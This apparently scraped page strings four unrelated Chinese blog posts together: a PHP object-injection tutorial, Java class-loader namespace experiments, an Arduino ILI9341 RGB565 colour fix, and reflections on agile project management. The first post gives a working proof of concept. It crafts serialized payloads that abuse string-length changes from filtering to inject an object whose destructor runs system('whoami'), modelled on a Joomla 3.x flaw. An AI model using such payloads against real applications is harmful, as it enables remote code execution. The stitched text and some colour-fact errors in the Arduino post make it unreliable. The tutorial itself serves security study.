PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

類加載器 – 命名空間

本博客將沿用中展示的自定義類加載器代碼

複雜類加載情況分析

測試代碼一

首先,新建一個類Test14,重寫默認的構造方法,打印加載該類的類加載器

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());
    }
}

然後,在新建一個類Test15,同樣重寫默認的構造方法,打印加載該類的類加載器,在構造方法中new出Test14的實例

public class Test15 {
    public Test15() {
        System.out.println("Test15 is loaded by:" + this.getClass().getClassLoader());

        new Test14();
    }
}

測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test01();
    }

    private static void test01 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

猜測一下,首先自定義類加載器classLoader通過反射獲取Test15的Class對象,屬於主動使用,會加載Test15,classLoader委託它的父加載器AppClassLoader加載Test15;然後我們通過clazz.newInstance();代碼獲取Test15的實例,調用Test15的構造方法,在Test15的構造方法中創建了Test14的實例,所以同樣加載了Test14,並調用了Test14的構造方法。加上-XX:+TraceClassLoading指令執行代碼,發現運行結果和我們想的是一樣的。

......
[Loaded classloader.Test15 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
[Loaded classloader.Test14 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
......

測試代碼二

在上篇博客中,自定義類加載器ClassLoaderTest是有一個path屬性可以自定義類的加載路徑的,我們同樣測試一下,我們將Test14和Test15的class文件放到桌面的classloader文件夾下,然後刪除工程路徑下的class文件,執行一下的測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test02();
    }
    private static void test02 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        classLoader.setPath("/home/fanxuan/桌面/");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

按照上節的結果,應該都是ClassLoaderTest加載器加載了Test14和Test15類

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:classloader.ClassLoaderTest@6d6f6e28

接下來,我們重新編譯項目,刪除掉工程目錄下的Test14的calss文件,再次執行代碼

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test14
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test14
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 8 more

我們發現結果報錯了,按照我們正常的思維,自定義記載器classLoader委託父加載器AppClassLoader加載Test15,從打印結果可以看出Test15加載成功了,然後創建Test15的實例,加載Test14,因為工程目錄下缺少Test14的class文件,所以AppClassLoader無法加載到Test14,由自定義加載器classLoader自身從桌面加載Test14。但是我們發現加載Test14的報了ClassNotFoundException的錯誤,這是因為在Test15中記載Test14的時候,是以Test15的類加載器AppClassLoader來加載的,AppClassLoader加載不到Test14,它的父加載器擴展類加載器同樣加載不到,擴展類加載器的父加載器啟動類加載器也加載不到,所以報錯ClassNotFoundException

然後,再重新編譯項目,刪除掉工程目錄下的Test15的calss文件,再次執行代碼。根據前文分析的代碼,我們可以很清晰的得出結論:由自定義記載器classLoader加載了Test15,由系統類記載器AppClassLoader加載了Test14。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2

測試代碼三

簡單修改下Test14類,在Test14的構造方法中引用Test15的Class對象。

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());

        System.out.println("Test14:" + Test15.class);
    }
}

執行測試代碼二中的測試代碼Test16,結果如下,沒有任何問題。

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14:class classloader.Test15

我們同樣重新編譯項目,刪除掉工程目錄下的Test15的calss文件,再次執行代碼。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test15
    at classloader.Test14.<init>(Test14.java:11)
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test15
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 9 more

我們發現加載已經完成了,但是程序還是報錯了,是我們剛剛加的System.out.println("Test14:" + Test15.class);代碼報的錯,依然是ClassNotFoundException錯誤。

分析:
Test15由自定義記載器classLoader加載,Test14由系統類記載器AppClassLoader加載。導致程序報錯的是因為命名空間的問題,我們在上一篇博客的結尾簡單介紹了命名空間:每個類加載器都有自己的命名空間,命名空間由該加載器及所有的父加載器所加載的類組成。子加載器所加載的類可以看見父加載器加載的類,但是父加載器所加載的類無法看見子加載器加載的類。Test14是由AppClassLoader加載的,在AppClassLoader的命名空間中沒有Test15的,所以程序報錯了。

命名空間實例分析

測試代碼

新建Entity類用於測試

public class Entity {
    private Entity entity;

    public void setEntity(Object entity) {
        this.entity = (Entity)entity;
    }
}

編寫測試代碼

public class Test17 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

運行程序,System.out.println(clazz1 == clazz2);返回結果為true,都是AppClassLoader加載的,classLoader1加載之後會在AppClassLoader的命名空間中形成緩存,classLoader2加載的時候直接返回命名空間已經存在的Class對象,所以clazz1與clazz2相同。

改造下代碼,將Entity類的class文件copy到桌面文件夾下,刪除工程下的class文件,執行如下代碼

public class Test18 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        classLoader1.setPath("/home/fanxuan/桌面/");
        classLoader2.setPath("/home/fanxuan/桌面/");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

根據前文的介紹,不難推斷System.out.println(clazz1 == clazz2);的運行結果為falseclassLoader1和classLoader2分別加載了Entity類,就是其自身加載的(定義類加載器),在jvm的內存中形成了完全獨立的兩個命名空間,所以clazz1與clazz2不同。而且因為clazz1和clazz2相互不可見,調用了classLoader1命名空間中的方法,傳入了classLoader2命名空間的對象,導致程序拋出了異常。

false
Exception in thread "main" java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at classloader.Test18.main(Test18.java:26)
Caused by: java.lang.ClassCastException: classloader.Entity cannot be cast to classloader.Entity
    at classloader.Entity.setEntity(Entity.java:11)
    ... 5 more

不同類加載器的命名空間關係

  • 同一命名空間內的類是相互可見的
  • 子加載器的命名空間包含所有父加載器的命名空間,由子加載器所加載的類可以看見父加載器加載的類
  • 由父加載器所加載的類無法看見子加載器加載的類
  • 如果兩個加載器之間沒有任何直接或間接的父子關係,那麼它們各自加載的類相互不可見

父親委託機制的好處

在的2.1章節簡單介紹了一下類加載器的父親委託機制,這裏面來總結一下好處

  • 確保Java核心類庫的安全:所有的Java應用都至少會引用java.lang.Object類,也就是說在運行期,java.lang.Object類會被記載到Java虛擬機當中;如果這個加載過程是由Java應用自己的類加載器所完成的,那麼可能會在JVM中存在多個版本的java.lang.Object類,而且這些類還是不兼容的、相互不可見的(因為命名空間的原因)。藉助父親委託機制,Java核心類庫中的類的加載工作都是由啟動類加載器來統一完成的,從而確保了Java應用所使用的都是同一個版本的Java核心類庫,他們之間是互相兼容的。
  • 確保Java核心類庫提供的類不會被自定義的類所替代。
  • 不同的類加載器可以為相同名稱(binary name)的類創建額外的命名空間。相同名稱的類可以並存在Java虛擬機中,只需要用不同的類加載器來加他們即可,不同類加載器所加載的類是不兼容的,這就相當於在Java虛擬機內部創建了一個又一個相互隔離的Java類空間。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

Arduino驅動ILI9341彩屏(一)——顏色問題

 

最近在淘寶的店鋪上淘到了一塊ILI9341的彩色液晶屏,打算研究一下如何使用。

淘寶店鋪購買屏幕之後有附源代碼可供下載,代碼質量慘不忍睹,各種縮進不規範就不說了,先拿來試一下吧。

這是淘寶店鋪代碼的核心部分:

void setup()
{
  Lcd_Init();
 //LCD_Clear(0xf800);
}

void loop()
{  
   LCD_Clear(0xf800);
   LCD_Clear(0x07E0);
   LCD_Clear(0x001F);
  /*   
  for(int i=0;i<1000;i++)
  {
    Rect(random(300),random(300),random(300),random(300),random(65535)); // rectangle at x, y, with, hight, color
  }*/
  
//  LCD_Clear(0xf800);
}

代碼裏面的setup()和loop()是arduino特有的主函數,和普通C程序的main()函數一樣。

setup()函數在開機時只運行一次,運行完之後就開始循環運行loop()函數。

程序先在setup()函數里做了一下初始化操作Lcd_Init(),接着開始連續用不同顏色清屏。

這裏的LCD_Clear()就是清屏函數了,原型如下:

void LCD_Clear(unsigned int j)                   
{    
  unsigned int i,m;
 Address_set(0,0,240,320);
  //Lcd_Write_Com(0x02c); //write_memory_start
  //digitalWrite(LCD_RS,HIGH);
  digitalWrite(LCD_CS,LOW);


  for(i=0;i<240;i++)
    for(m=0;m<320;m++)
    {
      Lcd_Write_Data(j>>8);
      Lcd_Write_Data(j);

    }
  digitalWrite(LCD_CS,HIGH);   
}

縮進不規範就不吐槽了(;へ:),連變量名都起得亂七八糟,簡直慘不忍睹。稍微重寫了一下函數,長這樣:

void LCD_Clear(unsigned int color){
  Address_set(0,0,240,320);
  digitalWrite(LCD_CS,LOW);
  for(int i=0;i<240;i++){
    for(int m=0;m<320;m++){
      Lcd_Write_Data(color>>8);
      Lcd_Write_Data(color);
    }
  }
  digitalWrite(LCD_CS,HIGH);
}

這個函數先使用Address_set()設置了刷新區域,然後把LCD_CS針腳電壓拉低,之後循環寫入color。

color分兩次寫入,一次寫入高八位(16位整形前面8個bit),一次寫入低八位。

看上去好像沒什麼問題,但loop()函數中LCD_Clear()卻是直接用十六進制寫入的。

寫一個RGB()函數把RGB顏色轉換成十六進制,不是更人性化嗎?

讀了一遍源代碼,結果真的找到了店家的RGB函數:

int RGB(int r,int g,int b)
{return r << 16 | g << 8 | b;
}

還是不規範的縮進(╯︵╰)。但有總比沒有好,輸出紅色試一下:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(255,0,0));
}

void loop()
{  
   //nothing
}

出故障了。

 

 

 

Arduino重啟后,屏幕輸出了黑色!再試着排除一下故障,把RGB(255,0,0)改成RGB(0,255,0),輸出綠色試試:

 

 

 

 

結果輸出了橙色!

之後我又反覆嘗試了,沒有一次輸出正確的顏色。莫非是這個RGB()函數有問題,淘寶店鋪才用十六進制数字?

再仔細推導了一下:return r << 16 | g << 8 | b;把紅色左移16位,綠色左移8位,藍色不動,所以合成的二進制應該是這樣的:

RRRRRRRRGGGGGGGGBBBBBBBB

R代表紅色位,G代表綠色位,B代表藍色位,每種顏色8位,總共24位。計算了一下可能性:

 

 

 總共1677萬種可能,也就是1677萬種顏色,這就是普通電腦的真彩顏色。但LCD_Clear()函數是這麼寫的:

Lcd_Write_Data(color>>8);
Lcd_Write_Data(color);

總的只能寫入十六個bit,也就是16位,這和24位對不上號啊?

再回頭看了一下,店鋪代碼的setup()函數中有這樣一行白色清屏指令:

//LCD_Clear(0xf800);

0xf800換算成十進制,是63488,有沒有感覺很接近一個數?

沒錯,就是65535,單個16位無符號整數的最大儲存範圍。

16位整型變量,顧名思義就是用16個0和1組成的變量。可以儲存的整數範圍是-32768 ~ 32767,32768 + 32767剛好等於65535,換算到二進制,就是1111111111111111,16個1。

 

這時,真相出現了——這台機器所採用的,是16位顏色,也被成為RGB565顏色模式。

 

早期的16位計算機由於架構的設計,一次只能處理一個16位二進制數。而圖形显示對速度要求特別高,所以一個像素必須要用一個16進制數來表示,也就是16位顏色。

如果用採用24位顏色,就需要兩個16進制數,也就是2Bytes,速度就慢了一半。

而每個像素都是使用紅黃藍三基色來显示的,所以一個16進制數必須分3份,來分別表示紅、黃、藍的數據。

這就出現了一個問題:

16 / 3 = 5.33333

紅黃藍三種顏色平均佔用5.33333個bit。

可bit是計算機存儲的基本單位,要麼是1,要麼是0,不能再分割。必須要有一種顏色多用一個位,才能充分單個利用16進制整數。

人體的綠色視錐細胞比較敏感,正好,那綠色就用6位,紅色藍色就用5位吧。

這就是著名的RGB565模式,總共能存儲65535種顏色。

早期的遊戲都採用這種模式,所以顏色不夠豐富,很有特色:

 

 

 

 這塊ILI9341显示屏模塊(注意不是ILI9341芯片本身)也剛好只有16根數據引腳,所以就採用了這種RGB565的顏色模式。

找到了問題,那就改一下程序吧:

int RGB(int r,int g,int b)
{
  return r << 11 | g << 5 | b;
}

光改RGB()函數還不夠,現在使用了RGB565模式,所以綠色範圍是從0-63,紅色、藍色的範圍是0-31。

所以還得改setup裏面的清屏函數:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(0,63,0));
}

重新下載了程序,屏幕成功显示,輸出了正確的綠色!⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄

 

 

 那麼問題來了,開頭店家給的LCD_Clear(0xf800)這條清屏指令,是怎麼來的?畢竟他連RGB565都不知道呢!

這是我提供的一種可能性:

“0xf600試一下?”

“不行,太灰了!”

“那0xf700呢?”

“還是不行!老闆,我們都試了一下午了,肯定是屏幕壞了!”

“加油,還差一點點了,肯定可以的!”

“0xf800好像還行,但是還是有點灰!”

“沒關係,反正買家能點亮屏幕就行,其他的我們不管!”

“……”

所以這家淘寶店鋪根本不知道自己在買什麼。ヽ( ̄▽ ̄)ノ

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

敏捷開發:項目管理的一些思考

誤區

之前我沒有項目經驗,在上一家公司的項目管理上,我只是照葫蘆畫瓢。

  1. 產品發起,整個項目沒有項目經理這一說。或者說有,但卻真的感受不到,一丁點也感受不到。

  2. 產品發起會議,或者開發發起會議。無論誰來發起會議,一般都會針對於某一具體需求或者某一具體實現方式。

  3. 沒有具體的任務規劃,任務拆得不夠細緻。這個和開發自身有關係。當然那時的公司確實沒有一些指導性質的模板和導師。

  4. 任務分得不夠細緻,就會導致工期評估差距比較大。

  5. 各種O們的臨時緊急需求,很多O沒有技術背景和項目管理背景。很多時候提出的需求都是發生在項目開始過程中。

    都是很急的需求,不得不重新估算時間和排期。開發為了避免延期風險,就是讓產品排優先級,然後我們根據優先級估時。

    直到有必要的需求都在這個迭代中計劃上。

  6. 沒人全局把控,產品從產品角度,開發從開發角度,業務從業務角度。始終沒有一個最終的協調人。

    產品在對各種O的對話中,氣場和身份不足,導致需求基本是提出就會安排。即便是請出青島總負責人出面溝通,最終的結果一般就是接受。

  7. 之前我們是青島為開發,北京為產品、UI、前端、測試。異地溝通。電話會議是常有的事情,私下的臨時溝通電話更是家常便飯。

    信息同步、開會、理解程度 都會造成溝通上的成本增加。

  8. 緊急需求上線后,三個月沒人反饋。問了才知道,財務提的需求他們沒用過。

  9. 開會一般都會臨時決定,發起人會準備資料,但是其他人提前看資料準備問題的情況極少。導致會議冗長效率低。

解決

現在來看,無論如何,我們在知道這些問題,但是為什麼不去處理呢?應該還是習慣了,即便是整個項目非常掙扎,依然是按老規矩走。大家都是困在了這個圍牆中。

我現在也有了一年的項目管理經驗,初入門道。只是對自己的過往進行一下分析解決。

以上的誤區和問題,我覺得需要一個有經驗並且有點能力的人來帶領這個項目團隊。

1. 確認項目經理

但是按照我上家公司的情況,一般會立經驗豐富的主管直接管理這個項目。

當時的情況是,項目主管在項目上的精力完全不夠,甚至說項目管理在項目主管心中的優先級比較低。

根本原因,青島作為研發中心,技術基因強大。很多技術管理人員,沒有意識到項目管理的重要性。

組織架構主要是垂直單線架構,技術-主管-經理-總監-CTO。無非是自己下面的人多,按照業務或者大項目分了組而已。

如果讓開發作為項目經理,

首先這個開發是否願意承擔項目經理職責?

是否真的能夠賦給項目經理一些實權?

是否有鼓勵機制,比如晉陞優先或者獎金等?

建議:

加強項目管理意識;

加強項目管理能力;

必要的話可以作為量化指標來看;

加入一些激勵機制;

2. 培養主動性

因為技術基因影響。主管或者經理出於“好心”考慮。

他可能會考慮到,如果把項目管理中的某些事情分配給組員,會不會引起反感?會不會影響在組員中的美好形象?

也算是確實分下來一些,比如項目規劃和估時以及排期。但是我沒經驗的,是不是可以稍微引導一下?

領導總想為老好人,但是這樣自己手頭的任務分不下去。

下面的人也得不到成長。

建議

對組員有一定的規劃和成長要求,而不是放任其隨意生長(有一定風險)

領導應該提高自身的管理能力,管理技巧。而不是憑經驗論。

定時關切Review分下去的任務,從結果或者過程提出建議和優化。

3. 確認好需求邊界

產品經理和負責人,確認好需求邊界。飄忽不定的需求給項目的打擊是很大的。

開發在搖搖墜墜中估時,此時的估時肯定會有大量的冗餘,因為之前需求的變動,上線時間一改再改。

在加上,主管、經理偶爾砍幾刀。所以開發在估工時都會冗餘很多。為了被砍,為了需求不定。

建議:

確認好需求,可將項目周期縮短,小版本迭代。

強化項目上線時間約定,鍥約精神。不僅僅是開發要遵守。其他人員最好也能嚴格遵守。(當初這個做起來真的比較困難)

信心是做出來的,幾次項目的延期和需求的變更會嚴重打擊大家的信心和士氣。所以按時上線很重要。

規劃得有,但是是不是可以考刪掉遠在4個月以後的需求。

4. 緊急需求

比如財務的一些緊急需求,其實確實緊急,但是使用頻率很低。

是不是可以有另一種解決方案?不一定非要按照財務提出的那種設想。

我們達到並滿足了他們的目標,後期再去做頁面更加直觀。

比如要一個訂單查看頁面。那我使用程序定時拉取新訂單推送到企業微信或者釘釘。結果也是非常滿意的。

不一定非要做一個頁面,很多時候做成一個頁面,大家會發揮自己的產品意識,增加一些不必要的按鈕、功能和邏輯。

建議

深入了解需求,而不僅僅是一句話,也不是根據用戶提出的需求來做,用戶到底想要什麼?--他就想要有訂單能及時知道。

緊急需求是否真緊急,也得看使用頻率。使用頻率低,是否有其他方式實現。

能擱置的暫且擱置一下,之前就我一個人開發,很多原本緊急的需求因為開發不夠,擱置了也就擱置了。然後甚至有的都自己消失了。

5. 高效開會

會議開始前,大家幾乎么有預習的習慣,會上很多時候沒有主持人,大家就問題會討論很深,導致時間不可控。

有的會能一個電話解決的就沒必要拉這個拉那個來開會。這種儀式感不重要,開會也不是拉家常。

為了讓領導知道這次會議的重要性,這個項目的重要性。拉着領導一起開:

但是領導的事情多,很多時候在會上他們是一直回複信息,其實當時是比較尷尬的,領導不能專心處理問題。我們看着領導沒用心聽,不了解的同事還以為領導漠不關心呢。

建議:

發起人拉群,提前@人提醒大家關注和看會議內容。

發起人做會議:主題、流程、最終結論

確認會議主持人,隨時控制會議進度。有些細節會後溝通。

領導可以不必參加需求討論會,把會上討論的疑難問題,會後單獨和領導會報,再拉一個小會議電話溝通確認即可。

 重要項目啟動會、項目上線等會議盡量簡短,領導全身心參加。保證大家的鬥志,統一思想達成一致。有些形式必須要有的。

6. 相關方

開發與客戶溝通少,因為兩地溝通,基本是產品作為翻譯官將業務轉成需求轉達給開發。

開發沒有感知用戶的存在。

建議

多聽聽用戶怎麼說。

大家達成一致,每月電話會議或者視頻會議溝通一次。會議可以控制在1小時以內,氛圍可以輕鬆,主要是收集需求以及反饋問題。

如果有多個業務部門都是相關方,那麼主要思想就是設置定期溝通(規律的定期溝通)
    

7. 轉變

優勝劣汰的企業付薪給我們,我們就要服務於這個企業用戶。甚至說服務好用戶。

我們開發也要主動從自身求變。好好說話,真心替我們的用戶思考過問題。

從產品和業務角度認可業務優先級,而不是緊緊盯着開發重構、新技術的應用。

建議

轉變意識:我想為你們服務;

我能力不行,但是我能主動學習項目管理知識和經驗,並在項目中實踐,反思,再實踐。

我要為我開發的產品負責,它的迭代,扔給它的需求,和它相關方,它的應變能力。

主動一點,也許事情看起來並沒有那麼難。

現在的我,我們

新的公司,給了我很多的機會,糾正了我很多認知,我也從實踐中反思了很多,收穫了很多。

公司的組織架構是矩形架構:橫向職能,垂直項目

項目首先會有項目經理,項目經理有一定的項目經理獎金。當然項目經理要履行項目經理的職責。都會有績效。

項目經理,開發,產品,測試,DBA,運維,PMO 這些會組成一個項目組。

整個項目組會在項目經理的引導下,開發項目直到上線。然後迭代下一版本。

現在項目中,有使用瀑布開發,有使用敏捷開發。

我所認知的一點是,各個職能團隊人員雖然屬於職能。但是基本會長期泡在各個項目中。

